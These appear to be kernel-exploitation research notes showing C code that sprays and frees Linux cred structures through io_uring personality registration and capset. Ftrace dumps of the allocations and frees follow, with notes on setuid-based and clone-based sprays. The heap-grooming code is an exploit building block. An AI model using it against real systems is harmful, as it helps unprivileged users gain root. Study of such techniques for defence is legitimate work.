// Thanks to @pqlqpql
#include <linux/io_uring.h>
#include <sys/capability.h>
#include <sys/syscall.h>
struct user_cap_data_struct {
uint32_t effective;
uint32_t permitted;
uint32_t inheritable;
};
void errExit(char* msg1)
{
puts(msg1);
exit(-1);
}
static int sys_io_uring_setup(size_t entries, struct io_uring_params *p)
{
return syscall(__NR_io_uring_setup, entries, p);
}
static int uring_create(size_t n_sqe, size_t n_cqe)
{
struct io_uring_params p = {
.cq_entries = n_cqe,
.flags = IORING_SETUP_CQSIZE
};
int res = sys_io_uring_setup(n_sqe, &p);
if (res < 0)
errExit("io_uring_setup() failed");
return res;
}
static int alloc_n_creds(int uring_fd, size_t n_creds)
{
for (size_t i = 0; i < n_creds; i++) {
struct __user_cap_header_struct cap_hdr = {
.pid = 0,
.version = _LINUX_CAPABILITY_VERSION_3
};
struct user_cap_data_struct cap_data[2] = {
{.effective = 0, .inheritable = 0, .permitted = 0},
{.effective = 0, .inheritable = 0, .permitted = 0}
};
/* allocate new cred */
if (syscall(SYS_capset, &cap_hdr, (void *)cap_data))
errExit("capset() failed");
/* increment refcount so we don't free it afterwards*/
if (syscall(SYS_io_uring_register, uring_fd, IORING_REGISTER_PERSONALITY, 0, 0) < 0)
errExit("io_uring_register() failed");
}
}
int main()
{
int uring_cred_dumps[2] = {uring_create(0x80, 0x100), uring_create(0x80, 0x100)};
/* cred structure spray */
alloc_n_creds(uring_cred_dumps[0], 0x8);
/* release the cred chunks */
close(uring_cred_dumps[0]);
/* wait for rcu to finish so creds are actually freed. */
usleep(200000);
return 0;
}
Below is the trace dump showing the allocation and freeing of chunks.
exploit-142 [000] .... 6.104234: kmem_cache_alloc: call_site=xas_alloc+0xa3/0xd0 ptr=ffff888004a9b918 bytes_req=576 bytes_alloc=584 gfp_flags=GFP_NOWAIT|__GFP_NOWARN
exploit-142 [000] .... 6.104563: kmem_cache_alloc: call_site=prepare_creds+0x27/0x1f0 ptr=ffff8880040e5780 bytes_req=168 bytes_alloc=192 gfp_flags=GFP_KERNEL
exploit-142 [000] .... 6.104572: kmalloc: call_site=security_prepare_creds+0x76/0xa0 ptr=ffff8880052a5e30 bytes_req=8 bytes_alloc=8 gfp_flags=GFP_KERNEL_ACCOUNT|__GFP_ZERO
exploit-142 [000] .... 6.104936: kmalloc: call_site=__io_uring_register+0x28b/0x1250 ptr=ffff8880052ffb40 bytes_req=72 bytes_alloc=96 gfp_flags=GFP_KERNEL
exploit-142 [000] .... 6.105046: kmem_cache_alloc: call_site=xas_alloc+0xa3/0xd0 ptr=ffff888004a9b240 bytes_req=576 bytes_alloc=584 gfp_flags=GFP_NOWAIT|__GFP_NOWARN
exploit-142 [000] .... 6.105238: kmem_cache_alloc: call_site=prepare_creds+0x27/0x1f0 ptr=ffff8880040e5300 bytes_req=168 bytes_alloc=192 gfp_flags=GFP_KERNEL
exploit-142 [000] .... 6.105247: kmalloc: call_site=security_prepare_creds+0x76/0xa0 ptr=ffff8880052a5968 bytes_req=8 bytes_alloc=8 gfp_flags=GFP_KERNEL_ACCOUNT|__GFP_ZERO
exploit-142 [000] .... 6.105291: kmalloc: call_site=__io_uring_register+0x28b/0x1250 ptr=ffff8880052ff300 bytes_req=72 bytes_alloc=96 gfp_flags=GFP_KERNEL
exploit-142 [000] .... 6.105458: kmem_cache_alloc: call_site=prepare_creds+0x27/0x1f0 ptr=ffff8880040e5900 bytes_req=168 bytes_alloc=192 gfp_flags=GFP_KERNEL
exploit-142 [000] .... 6.105466: kmalloc: call_site=security_prepare_creds+0x76/0xa0 ptr=ffff8880052a5360 bytes_req=8 bytes_alloc=8 gfp_flags=GFP_KERNEL_ACCOUNT|__GFP_ZERO
exploit-142 [000] .... 6.105497: kmalloc: call_site=__io_uring_register+0x28b/0x1250 ptr=ffff8880052ff7e0 bytes_req=72 bytes_alloc=96 gfp_flags=GFP_KERNEL
exploit-142 [000] .... 6.105535: kmem_cache_alloc: call_site=prepare_creds+0x27/0x1f0 ptr=ffff8880040bd6c0 bytes_req=168 bytes_alloc=192 gfp_flags=GFP_KERNEL
exploit-142 [000] .... 6.105543: kmalloc: call_site=security_prepare_creds+0x76/0xa0 ptr=ffff8880052a5060 bytes_req=8 bytes_alloc=8 gfp_flags=GFP_KERNEL_ACCOUNT|__GFP_ZERO
exploit-142 [000] .... 6.105571: kmalloc: call_site=__io_uring_register+0x28b/0x1250 ptr=ffff8880052ffa80 bytes_req=72 bytes_alloc=96 gfp_flags=GFP_KERNEL
exploit-142 [000] .... 6.105606: kmem_cache_alloc: call_site=prepare_creds+0x27/0x1f0 ptr=ffff8880040bd000 bytes_req=168 bytes_alloc=192 gfp_flags=GFP_KERNEL
exploit-142 [000] .... 6.105613: kmalloc: call_site=security_prepare_creds+0x76/0xa0 ptr=ffff8880052a5980 bytes_req=8 bytes_alloc=8 gfp_flags=GFP_KERNEL_ACCOUNT|__GFP_ZERO
exploit-142 [000] .... 6.105642: kmalloc: call_site=__io_uring_register+0x28b/0x1250 ptr=ffff888005137c00 bytes_req=72 bytes_alloc=96 gfp_flags=GFP_KERNEL
exploit-142 [000] .... 6.105677: kmem_cache_alloc: call_site=prepare_creds+0x27/0x1f0 ptr=ffff8880040bd780 bytes_req=168 bytes_alloc=192 gfp_flags=GFP_KERNEL
exploit-142 [000] .... 6.105684: kmalloc: call_site=security_prepare_creds+0x76/0xa0 ptr=ffff8880052a5278 bytes_req=8 bytes_alloc=8 gfp_flags=GFP_KERNEL_ACCOUNT|__GFP_ZERO
exploit-142 [000] .... 6.105711: kmalloc: call_site=__io_uring_register+0x28b/0x1250 ptr=ffff888005137d80 bytes_req=72 bytes_alloc=96 gfp_flags=GFP_KERNEL
exploit-142 [000] .... 6.105745: kmem_cache_alloc: call_site=prepare_creds+0x27/0x1f0 ptr=ffff8880040bd300 bytes_req=168 bytes_alloc=192 gfp_flags=GFP_KERNEL
exploit-142 [000] .... 6.105752: kmalloc: call_site=security_prepare_creds+0x76/0xa0 ptr=ffff8880052a5170 bytes_req=8 bytes_alloc=8 gfp_flags=GFP_KERNEL_ACCOUNT|__GFP_ZERO
exploit-142 [000] .... 6.105802: kmalloc: call_site=__io_uring_register+0x28b/0x1250 ptr=ffff8880053f3de0 bytes_req=72 bytes_alloc=96 gfp_flags=GFP_KERNEL
exploit-142 [000] .... 6.105838: kmem_cache_alloc: call_site=prepare_creds+0x27/0x1f0 ptr=ffff8880040bd900 bytes_req=168 bytes_alloc=192 gfp_flags=GFP_KERNEL
exploit-142 [000] .... 6.105845: kmalloc: call_site=security_prepare_creds+0x76/0xa0 ptr=ffff8880052a5048 bytes_req=8 bytes_alloc=8 gfp_flags=GFP_KERNEL_ACCOUNT|__GFP_ZERO
exploit-142 [000] .... 6.105872: kmalloc: call_site=__io_uring_register+0x28b/0x1250 ptr=ffff8880053f3540 bytes_req=72 bytes_alloc=96 gfp_flags=GFP_KERNEL
exploit-142 [000] .N.. 6.107286: kfree: call_site=io_unregister_personality+0x67/0x90 ptr=ffff8880052ffb40
exploit-142 [000] .N.. 6.107420: kfree: call_site=io_unregister_personality+0x67/0x90 ptr=ffff8880052ff300
exploit-142 [000] .N.. 6.107424: kfree: call_site=io_unregister_personality+0x67/0x90 ptr=ffff8880052ff7e0
exploit-142 [000] .N.. 6.107427: kfree: call_site=io_unregister_personality+0x67/0x90 ptr=ffff8880052ffa80
exploit-142 [000] .N.. 6.107430: kfree: call_site=io_unregister_personality+0x67/0x90 ptr=ffff888005137c00
exploit-142 [000] .N.. 6.107433: kfree: call_site=io_unregister_personality+0x67/0x90 ptr=ffff888005137d80
exploit-142 [000] .N.. 6.107435: kfree: call_site=io_unregister_personality+0x67/0x90 ptr=ffff8880053f3de0
exploit-142 [000] .N.. 6.107524: kfree: call_site=io_unregister_personality+0x67/0x90 ptr=ffff8880053f3540
exploit-142 [000] .... 6.105606: kmem_cache_alloc: call_site=prepare_creds+0x27/0x1f0 ptr=ffff8880040bd000 bytes_req=168 bytes_alloc=192 gfp_flags=GFP_KERNEL
<idle>-0 [000] .Ns. 6.119158: kmem_cache_free: call_site=put_cred_rcu+0x84/0xb0 ptr=ffff8880040bd000
sh-147 [000] .... 6.321777: kmem_cache_alloc: call_site=prepare_creds+0x27/0x1f0 ptr=ffff8880040bd000 bytes_req=168 bytes_alloc=192 gfp_flags=GFP_KERNEL
exploit-142 [000] .... 6.105677: kmem_cache_alloc: call_site=prepare_creds+0x27/0x1f0 ptr=ffff8880040bd780 bytes_req=168 bytes_alloc=192 gfp_flags=GFP_KERNEL
<idle>-0 [000] .Ns. 6.119161: kmem_cache_free: call_site=put_cred_rcu+0x84/0xb0 ptr=ffff8880040bd780
sh-147 [000] .... 6.315616: kmem_cache_alloc: call_site=prepare_creds+0x27/0x1f0 ptr=ffff8880040bd780 bytes_req=168 bytes_alloc=192 gfp_flags=GFP_KERNEL
Spray done by setuid is temporary. Bcz the process is unpriviledged, the chunk is actually registered to rcu immediately to be freed by abort_creds()
. Results in the following:
/* Unpriviledged process fails the call(returns -1) and
* the chunks are freed by the rcu
*/
setuid(0);
// Also set*id() functions seem similar, they should be able to do this "temporary" spray.
exploit-144 [000] .... 16.941555: kmem_cache_alloc: call_site=prepare_creds+0x27/0x1f0 ptr=ffff8880040bd240 bytes_req=168 bytes_alloc=192 gfp_flags=GFP_KERNEL
exploit-144 [000] .... 16.941577: kmalloc: call_site=security_prepare_creds+0x76/0xa0 ptr=ffff8880052903e8 bytes_req=8 bytes_alloc=8 gfp_flags=GFP_KERNEL_ACCOUNT|__GFP_ZERO
exploit-144 [000] .... 16.942228: kmem_cache_alloc: call_site=getname_flags.part.0+0x30/0x1b0 ptr=ffff88800400b000 bytes_req=4096 bytes_alloc=4096 gfp_flags=GFP_KERNEL
exploit-144 [000] .... 16.942351: kmem_cache_free: call_site=putname+0x4c/0x60 ptr=ffff88800400b000
exploit-144 [000] .... 16.941555: kmem_cache_alloc: call_site=prepare_creds+0x27/0x1f0 ptr=ffff8880040bd240 bytes_req=168 bytes_alloc=192 gfp_flags=GFP_KERNEL
<idle>-0 [000] .Ns. 16.953468: kmem_cache_free: call_site=put_cred_rcu+0x84/0xb0 ptr=ffff8880040bd240
sh-149 [000] .... 17.155304: kmem_cache_alloc: call_site=prepare_creds+0x27/0x1f0 ptr=ffff8880040bd240 bytes_req=168 bytes_alloc=192 gfp_flags=GFP_KERNEL
exploit-144 [000] .... 16.941577: kmalloc: call_site=security_prepare_creds+0x76/0xa0 ptr=ffff8880052903e8 bytes_req=8 bytes_alloc=8 gfp_flags=GFP_KERNEL_ACCOUNT|__GFP_ZERO
<idle>-0 [000] .Ns. 16.953441: kfree: call_site=security_cred_free+0x42/0x50 ptr=ffff8880052903e8
<...>-151 [000] .... 21.914192: kmalloc: call_site=security_prepare_creds+0x76/0xa0 ptr=ffff8880052903e8 bytes_req=8 bytes_alloc=8 gfp_flags=GFP_KERNEL_ACCOUNT|__GFP_ZERO
/* Thanks to @Fizzbuzz101
* https://www.willsroot.io/2022/08/reviving-exploits-against-cred-struct.html
*/
#define CLONE_FLAGS CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND
__clone(CLONE_FLAGS, &new_func_thread);
It produces this limited noise in the memory allocator.
task_struct
kmalloc-64
vmap_area
vmap_area
cred_jar
signal_cache
pid